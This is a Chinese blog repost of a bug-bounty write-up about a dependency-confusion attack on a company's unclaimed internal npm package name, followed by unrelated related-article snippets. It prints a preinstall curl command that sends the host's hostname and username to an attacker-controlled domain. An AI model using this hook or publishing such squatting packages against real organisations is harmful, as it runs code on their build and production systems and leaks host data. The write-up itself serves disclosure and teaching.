【网络安全】依赖混淆漏洞实现RCE
未经许可,不得转载。
文章目录
- 正文
依赖混淆是一种供应链攻击漏洞,发生在企业的内部依赖包错误地从公共库(如npm)下载,而不是从其私有注册表下载。攻击者可以在公共注册表中上传一个与公司内部包同名的恶意包,一旦企业系统从公共源解析并下载该包,恶意代码便可能被执行,进而带来安全风险,如远程代码执行(RCE)。
正文
我发现某企业的前端 JavaScript 文件引用了一个存储在/node_modules/@confidential-package-name的Node.js包。进一步查询后,我发现这个内部包尚未在npm公共注册表中注册。
我创建了一个与内部包同名的恶意npm包,并将其发布到公共npm注册表中。在该包的preinstall脚本中,我嵌入了一个简单的命令,用来在安装时自动执行:
curl — data-urlencode “info=$(hostname && whoami)” http://<attacker-controlled-domain>.oast.fun
这个脚本会将服务器的主机名和用户名发送到我控制的域。

包上线后,数小时至几天内就收到了来自该公司的生产环境和非生产环境的多个请求,这说明他们的系统正在下载并执行这个恶意包。

在收到超过150个HTTP和DNS查询后,我分析IP地址,排除了已知的爬虫流量,并通过WHOIS查询检哪些请求能够匹配企业IP或其服务提供商的IP。可以看到,我实现了RCE:


原文出处:https://medium.com/@p0lyxena/2-500-bug-bounty-write-up-remote-code-execution-rce-via-unclaimed-node-package-6b9108d10643
相关文章:
【网络安全】依赖混淆漏洞实现RCE
未经许可,不得转载。 文章目录 正文 依赖混淆是一种供应链攻击漏洞,发生在企业的内部依赖包错误地从公共库(如npm)下载,而不是从其私有注册表下载。攻击者可以在公共注册表中上传一个与公司内部包同名的恶意包…...
FC优化配置
1.集群扩容CNA时打开bmc 2.给rhel7虚拟机安装tools-需要重启虚拟机 3.FC上创建集群 资源池右击创建集群(物理机大于10台,分业务类型创建集群) (解决集群内主机挂了,动态调整) (解决集群内个别…...
文件防泄漏方法有哪些|6个方法有效防止文件泄密
文件防泄漏是企业和组织保护其敏感信息和核心资产的重要手段。 以下是六个有效防止文件泄密的方法: 1. 文件加密 透明加密:使用专业的防泄密软件,如安企神等,对敏感文件进行透明加密处理。 这种加密方式在用户创建、编辑和保存…...
云盘还安全么?阿里云盘出现BUG,惊现大量陌生人照片
近日,网友称,阿里云盘出现“BUG”。网友表示,在阿里云盘的相册中,只要创建一个新的文件夹,就可以看到其他用户的照片。 记者从反映问题的相关视频中看到,一名用户在阿里云盘的相册功能中,创建了…...
蘑菇成熟待收检测系统源码分享
蘑菇成熟待收检测检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer…...
基于单片机的智能小车的开发与设计
摘要:本文论述了基于 STC89C52 单片机的智能小车的开发与设计过程。该设计采用单片机、电机驱动及光电循迹等技术,保证小车在无人管理状态下,能按照预先设定的线路实现自动循迹功能。在电路结构设计中力求方便,可操作,…...
解决 GitLab CI/CD 中的 `413 Request Entity Too Large` 错误
解决 GitLab CI/CD 中的 413 Request Entity Too Large 错误 在使用 GitLab CI/CD 时,我们可能会遇到 413 Request Entity Too Large 的错误提示。通常,这是因为 GitLab Runner 在上传工件(artifacts)到 GitLab 服务器时…...
Java项目实战II基于Java+Spring Boot+MySQL的洗衣店订单管理系统(开发文档+源码+数据库)
目录 一、前言 二、技术介绍 三、系统实现 四、论文参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发,CSDN平台Java领域新星创作者 一、前言 随着生活节奏的加快,现代人对便捷、高效服务的需求日益增长,洗衣店作为日常生…...
Can‘t connect to local MySQL server through socket
mysql -uroot ERROR 2002 (HY000): Cant connect to local MySQL server through socket /tmp/mysql.sock (2)这是mysql登录时找不到套接字的问题。 首先需要明白的是,Linux端的mysql server启动时会开启一个socket,Linux上的MySQL的客户端在不使用IP连…...
【车载以太网】【SOME/IP】Wireshark 解析
目录 Wireshark 官方插件 相关代码: 启用协议插件 Lua插件 测试数据包 Wireshark 下载链接:Wireshark Go DeepSOMEIP插件介绍:https://www.wireshark.org/docs/dfref/s/someip.html官方插件 Wireshark从3.2版本开始支持SOME/IP,启用相应的插件即可以…...
Perl 进程管理
Perl 进程管理 Perl,作为一种高级、通用、解释型、动态编程语言,广泛用于各种任务的自动化,包括进程管理。在Perl中,进程管理涉及创建、控制、同步和终止进程。本文将深入探讨Perl中的进程管理,包括基础知识、高级技巧以及最佳实践。 基础知识 进程创建 在Perl中,使用…...
爬虫 ----hook
目录 定义: 了解什么是hook? 举例 hook XHR请求 XMLHttpRequest 案例地址: Interceptors-拦截器 HOOK cookie操作 cookie 示范 常见的hook代码总结 1.Hook Cookie 2.Hook Header 3.Hook URL 4.Hook JSON.stringify 5.Hook JSON.parse 6.Ho…...
【监控】【Nginx】使用 Docker 部署 Prometheus + Grafana 监控 Nginx
在现代应用程序中,监控是确保服务高可用性和性能的关键。本文将详细介绍如何使用 Docker 部署 Prometheus 和 Grafana,以监控 Nginx。我们将分步骤讲解每个环节,以确保你能够顺利完成整个过程。 准备工作 在开始之前,请确保你的…...
Vue3 + Vite Web项目 Electron 打包桌面应用程序
在根目录下创建 electron 文件夹 创建 electron/main.js 文件: // 导入模块 const { app, BrowserWindow ,Menu } require(electron) const path require(path)// 创建主窗口 const createWindow () > {const mainWindow new BrowserWindow({width: 1440…...
Linux:login shell和non-login shell以及其配置文件
相关阅读 Linuxhttps://blog.csdn.net/weixin_45791458/category_12234591.html?spm1001.2014.3001.5482 shell是Linux与外界交互的程序,登录shell有两种方式,login shell与non-login shell,它们的区别是读取的配置文件不同,本…...
面试速通宝典——1
1. 内存有哪几种类型? 内存分为五个区,堆(malloc)、栈(如局部变量、函数参数)、程序代码区(存放二进制代码)、全局/静态存储区(全局变量、static变量&#…...
用uniapp 及socket.io做一个简单聊天 升级 9
比这之前优化了以下功能 上线通知 群聊里适时显示在线人数 约请好友 通过好友通过socket 相应端自动变化 PC端可以拉取摄象头拍照 PC端可以录音发送 拉起摄象头发送录象 <template><view class""><scroll-view scroll-y"true" class&…...
【Unity Shader】Special Effects(九)Vortex 旋涡(UI)
源码:[点我获取源码] 索引 Vortex 旋涡思路分析旋涡中心旋涡旋转旋涡强度旋涡动画Vortex 旋涡 旋涡效果可以将一张图像以指定点作为旋涡中心,呈顺时针旋涡动画效果,使用动画播放器: 思路分析 首先,旋涡特效的核心也即是旋转(特别是uv坐标的旋转); 在此基础上,旋涡中…...
01_两数之和
一、题目 给定一个整数数组 nums 和一个整数目标值 target,请你在该数组中找出 和为目标值 target 的那 两个 整数,并返回它们的数组下标。 你可以假设每种输入只会对应一个答案,并且你不能使用两次相同的元素。 你可以按任意顺序返回答案。…...
ChatGLM-6B-部署与使用
✨ Blog’s 主页: 白乐天_ξ( ✿>◡❛) 🌈 个人Motto:他强任他强,清风拂山冈! 💫 欢迎来到我的学习笔记! 什么是ChatGLM-6B 一、简介 ChatGLM-6B 是由清华大学知识工程实验室(KEG&…...
ThinkJS错误处理终极指南:构建稳定可靠的Node.js应用
ThinkJS错误处理终极指南:构建稳定可靠的Node.js应用 【免费下载链接】thinkjs Use full ES2015 features to develop Node.js applications, Support TypeScript. 项目地址: https://gitcode.com/gh_mirrors/thi/thinkjs ThinkJS是一个使用完整ES2015特性开…...
新手必看:如何用OpenSCAP快速搞定Linux服务器安全基线检查(附CentOS实战)
从零到精通的OpenSCAP实战:CentOS安全基线检查全流程拆解 刚接手服务器运维的新手常会遇到这样的困惑:明明系统运行正常,安全团队却总说存在"配置风险"。去年我们团队就发生过一起因SSH弱加密算法导致的入侵事件——攻击者仅用2小时…...
超立方体可视化背后的数学原理:Processing实现详解
超立方体可视化背后的数学原理:Processing实现详解 想象一下,当你第一次看到超立方体的三维投影时,那种既熟悉又陌生的感觉——它像是我们熟知的立方体,却又在某种更高维度上展开。这种四维几何体在三维空间的投影,不仅…...
像素史诗·智识终端前端设计(Frontend-Design)实战:UI组件智能生成
像素史诗智识终端前端设计实战:UI组件智能生成 1. 前端设计的效率革命 想象一下这样的场景:产品经理刚描述完需求,设计稿和前端代码就已经自动生成。这听起来像是科幻情节,但借助像素史诗智识终端的前端设计能力,这种…...
OpenClaw智能相册管理:Qwen2.5-VL-7B自动分类与标注私人照片
OpenClaw智能相册管理:Qwen2.5-VL-7B自动分类与标注私人照片 1. 为什么需要智能相册管理? 每次打开手机相册,看到上万张杂乱无章的照片时,那种无力感想必很多人都深有体会。去年夏天,我在整理旅行照片时突然意识到—…...
Qwen3.5-2B企业降本案例:用2B模型替代8B,GPU成本降低57%实录
Qwen3.5-2B企业降本案例:用2B模型替代8B,GPU成本降低57%实录 1. 轻量化模型带来的成本革命 在AI应用大规模落地的今天,模型部署成本已成为企业最关注的痛点之一。我们团队近期完成了一个典型案例:用Qwen3.5-2B模型成功替代原有8…...
Matlab与PyTorch混合编程:在Matlab中调用PyTorch 2.8训练好的模型
Matlab与PyTorch混合编程:在Matlab中调用PyTorch 2.8训练好的模型 1. 为什么需要Matlab与PyTorch混合编程 很多工程师和研究人员习惯使用Matlab进行算法原型开发,这得益于它丰富的工具箱和直观的交互界面。但在深度学习领域,PyTorch凭借其动…...
OpenClaw+SecGPT-14B:构建无需编程的内网资产管理系统
OpenClawSecGPT-14B:构建无需编程的内网资产管理系统 1. 为什么需要无代码内网资产管理 去年接手公司IT运维时,我发现内网设备清单还是三年前的Excel表格。每当新设备接入或旧设备淘汰,手动更新文档总会被遗忘。更麻烦的是,不同…...
WuliArt Qwen-Image Turbo高清图展示:1024×1024下4K显示器100%缩放无模糊
WuliArt Qwen-Image Turbo高清图展示:10241024下4K显示器100%缩放无模糊 提示:本文所有展示图片均为WuliArt Qwen-Image Turbo模型直接生成,未经任何后期处理 1. 项目概述:重新定义个人GPU文生图体验 WuliArt Qwen-Image Turbo是…...
VL53L1X_mbed驱动开发:嵌入式ToF测距实战指南
1. VL53L1X_mbed 库深度解析:面向嵌入式工程师的ToF激光测距驱动开发指南VL53L1X 是 STMicroelectronics 推出的第二代飞行时间(Time-of-Flight, ToF)激光测距传感器,采用 940nm 不可见红外 VCSEL 光源与单光子雪崩二极管…...
